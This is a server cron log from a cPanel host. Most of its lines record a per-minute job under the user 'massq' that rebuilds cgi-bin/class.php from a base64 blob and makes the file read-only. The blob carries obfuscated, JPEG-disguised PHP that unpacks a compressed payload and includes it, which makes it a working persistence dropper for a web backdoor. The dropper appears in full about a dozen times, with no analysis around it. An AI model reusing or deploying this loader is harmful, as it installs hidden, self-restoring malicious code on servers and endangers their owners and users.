Nov 11 14:25:01 server CROND[10058]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 14:25:01 server CROND[10060]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 14:25:01 server CROND[10061]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 14:26:01 server CROND[10935]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 14:27:01 server CROND[11893]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 14:27:01 server CROND[11894]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 14:28:01 server CROND[12703]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 14:29:01 server CROND[13589]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 14:30:01 server CROND[14409]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 14:30:01 server CROND[14410]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 14:30:01 server CROND[14411]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 14:30:01 server CROND[14412]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 14:31:01 server CROND[15314]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 14:32:01 server CROND[16148]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 14:33:01 server CROND[16967]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 14:34:01 server CROND[17811]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 14:35:01 server CROND[18619]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 14:35:01 server CROND[18620]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 14:35:01 server CROND[18622]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 14:35:01 server CROND[18625]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 14:35:01 server CROND[18623]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 11 14:36:01 server CROND[19488]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 14:37:01 server CROND[20394]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
